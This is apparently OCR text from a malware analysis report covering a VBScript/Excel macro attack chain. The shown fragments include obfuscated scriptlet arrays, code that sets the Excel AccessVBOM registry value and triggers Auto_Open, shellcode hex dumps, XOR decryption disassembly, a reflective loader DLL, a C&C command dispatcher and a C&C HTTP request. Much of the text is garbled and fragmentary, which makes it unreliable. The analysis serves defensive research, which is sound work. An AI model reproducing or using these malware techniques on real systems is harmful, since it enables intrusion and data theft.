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strPath = DesDir & SkMMBXmNbPCwurUQIJQcF({Array(58, 54, 20, 9, 1, 20, 7, 11, 34, 7

Data = Data + SkMMBXmNbPCwurUQIJQcF(Array(52 4 4
bPCwurUQIJQcF({Array 4 5

CwurUQIJQcF(Array

Data

9, 63, 45, T5549,495
15021522

32, 9, 60, 85
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<ML version="1.0"2>
|<zcriptlet>
|[<gcript language="VBScript">

<! [CDRTA[
dTEMgCaWeRlUVLC=Array (102,80, 65,21, 90,87, 95,112,77,8¢6,80,8%,21,48,21,118,71,180, 84,
65,89,92,86,084,65,92,90,91,23,28,63,50,87,55,112,77,86¢,80,8%,27,9%,9%2,70,9%2,87,8%
102,93,80,89,89,21,8,21,118,71,80,84,65,80,122,87,55,80,86,65,25,23,98,70,86,71, 9.
%0,%1,21,103,80,82,112,77,5%2,70,65,70,29,71,80,82,126,80,76,28,63,60,50,91,21,80,°
70,%3,102,93,80,8%,8%9,27,103,80,82,103,80,84,81,21,71,80,82,126,80,76,63,60,103,8
87,80,71,21,8,21,5,28,63,80,91,81,21,83,64,91,86,65,5%2,90,51,63,63,18,21,114, 80, &!
122,120,21,67,84,89,64,80,63,103,80,82,101,84,65,93,21,8,21,23,125,12¢,112,108,10

AT CC Fr NA T4 AM ANE MAan A e T4 A A fA 0T FE AAC AAaa NA Na fAa As A 4nc A

3 0x35, 0x39, 0x35

Excel AccessVBOM

1 Set obiFxcel = Create0hiect("Fxcel . Annlication™)

2 objExcel.visible = False
3
4 set Wshshell = CreateObject("wWscript.shell™)
5
6  function RegExists(regkey)
7 ON - Error resume next
8 Wshshell.RegRead regkey
9 RegExists = (Err.number = @)
1A and Functign
11
soft\office\" & objExcel.version & "\Excel\Security\AccessvBOM" 12 RegPath = "HKEY_CURRENT_USER\Software‘\Micro
13
14 if RegExists(RegPath) then
15 action = WshShell.RegRead(RegPath)
16 else
17 action = ""
18  end if
19
20 Wshshell.RegWrite RegPath, 1, "REG_DWORD"
21
FER I e etk RS Rt S S LA
(.VBProject.VBComponents.Add(1) 23 et xlmodule = objwWorkbook
Excel 0x78
CreateProcess rundli32 shellcode
CreateRemoteThread shellcode
shellcode base64 base64
shellcode
00000000 | 00 01 02 0d 0e of
oooooooo | [eb]3a 31 80 3b 27 2 1% ;4+u.?7 ? E€;/ *—-— loader shellcode
00000010 75 04 b2 80 ea fc u.? ? €£;9w.? €=E
00000020 eb 11 80 05 8a 13 ?7 €;ZIw.7 €R ? ?
00000030 80 ea 47 fo ff ff €M ¥ ..E B .8
00000040 | ff 5b 31 80 3b 3d [1: 7 . ? g ;=
00000050 | 74 25 e8 % =

CHHOOED ff eR ar

shellcode 0x76 loader
base64 shellcode



00000000 | 00 01

00000000 8
00000010 | 52 Oc
00000020 | ac 3c
00000030 | 8h 52
00000040 | d0 50
00000050 | 01 d6
00000060 | 03 7d
e 100 | 0250 L
10 meF_u
100 | 0387
=101 0x

RN
ek
oid| 4
o]

shellcode C&C shellcode
Excel  Auto_Open Excel
AccessVBOM
8 SRS ] P Rt e T s '
T T e ——
> objExcel.Run "Auto Open"
4 ohiuwnrkhonk.flnse. false -
e PR e [ - .
6
| state 7 ' Restore the registry to its olc
g8 if action = "" then
e R St = e e N TR
12 else
AT e ‘-_'-\._az- ;: LT e oy P _'_":-PE"'=_[=r,""_-”":-'"-".'-‘_"':I.'»'----.z':’zl_..i i
e T
shellcode shellcode 0x34  0x38



seqB00:00000000 FC cld

SegBee:00000001 EB 00 00 B0 08 call $+5

segBen: EB 27 jmp short loc_2F
segB00:00000008

seqB00:00000008 ; =============== S UBROUTTINE

Segoeo:00000008
segbe:00000008

segBE0:00000008 sub_8 proc near ; CODE XREF: seg0@0:lec_2Fip
segfBp:00BB00BE SF pop edi

segBBE:00000009 88 37 mov esi, [edi] ; iWiEox34

5egBeR:0000000B 83 C7 04 add edi, 4

segBE0:0000000E 8B 1F mov ebx, [ed1]

segPAA:00000010 31 F3 xor ebx, esi ; ebx = 0x31E00 HESKE
5eg000:00000012 83 C7 04 add edi, 4

5eg000:00000015 57 push ed1

Segoeo:00000016

L ecrypt: ; CODE XREF: sub_8+22.)
B mov edx, [edi]
XoT edx, esi
seQeee: GEEe001A mov [edi], edx
s?i???iggog??zc______ x0T . .ﬁsw‘_edx

F: sub_8+20r] execute: ; CODE XRE

iF: Seg@E@:EEEREREE T jmu——— .. OO OO . ; EBDE XRE

DLL 17f2d8.dll
_ReflectiveLoader@4
pFile Raw Data Value
PEE20932 31 37 66 32 64 38 2E 64 6C 6C 0O 5F 52 65 66 6C  17f2d8.d11. Refl
PEE20042 65 63 74 69 76 65 4C 6F 61 64 65 72 40 34 80 ectiveloader@d.
DlIMain 0x10030028 0x1000 0x69

i x 1 roshn 132399
: ﬁmmmghimmﬂ

e 5.
et SRCCE C A 2
et SR HE (Fee———— [ ——
temsat CHERERE DO ]
P =l 1 S

C&C
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0
funign |

29
30
31
v 32
33
|| 34
35
X

Shellcode

int w3; //

C&C

= len;

switch [ 22 )
{

ca

break;
c

ase 2:
sub_10003B6A(
break;

1

case 3:

sub_180083609() ;

break;

case 4:
sub_1000368C(Llen);
break;

case 5:

sub_1888361D(1en, =
break;

case 9:
sub_100054E0(len, 1);
break;

case OxA:

se 1:
sub_18885634((int)a3, len, 1);

sub_10003D1E((1nt)a3, len, "wb");

break;

case BxB:
sub_10004c29(=23, len);
break;

case OxC:
sub_1e00387A(len, a3);
break;

case BxD:
sub_100052D1(1len, a2, 1)
break;

VBS
shellcode

shellcode

// BEh#R

/1 HREF

/1 HEEEA

/i btEH

// EREH

shellcode




S eguuy  BuuRRUYL

IFanAnA  AARARROR . Luiw s wamarss evbh @ oun. MEAE Bane P ey, e e ODE L XBEE L e 0 QOO 1O G . VSR i e
seg30=00322008-5¢ POps—ad1
5eG200.3 2-88" 37 WGV e51, [edi] =iRBeR3s
'5eg300:- 9300000B_83 (7 04_ add edi, 4
mooAfssaafnnesRelE WHoeeees w2 - . tomby?t ' eex, eui.
FRTEE 15eg260 : 3900091031 F3¥ xaT ecx, esi ;o elff = Gx31E0F
5eqf00: 33006912 83 C7 04 add acy. 4
e SeQURY BNBY ———pusn =F
15ega80-330000 6
TS Svosite mdn 84X TE SO0 R INRATAR R
= Led ] | | = i e ———— £ 4 000 - 996000 6857
TS P = g 15e:g0B0;:BOFREeNE=3 1 IF2
1, edx TR EE 1520000700000 TA-BI_17
el ————— = o B 1 1 |seg000: 000000 TE—31RD5
=4 b=

5§ E0ARDTANGALNI F=0am

S egIBTTFIaB0RA A= ti———
P seg 00 2200020

shellcode shellcode

sub_8 proz; near
pop esi
mou ebx, [esi]
add esi, 4
mov ebp, [esi]
X ebp. ebx

shellcode
2017
amazon  host




LA SIER RS T DR R BT — A i ess 4
IR AL S R, PSR T R i Host FB IR

Al 5513500y bLLR skt

146928558 =ryly g
rv=1198) L WETGETRE

Al % Sl iy 36 i
2

cbnar,

ait? Moz 41 1a /570 (fiindows = =
conneet iont Keepzalive
Caeha=Control: mo-cache

ez
Dates Wed, T5-Nao—ZB17769:32:14 GHT

ServerServer
x-anz-id-1: THKUVETKCKPGYSTAZPZT
e e —
{oriilry
fehnine s R
coding = gip

ontsit-Length: 0
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1 VenusEye

% | https://venuseye.vip/domain/

et

Oracle America, Inc.
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et
2018-06-01
IR
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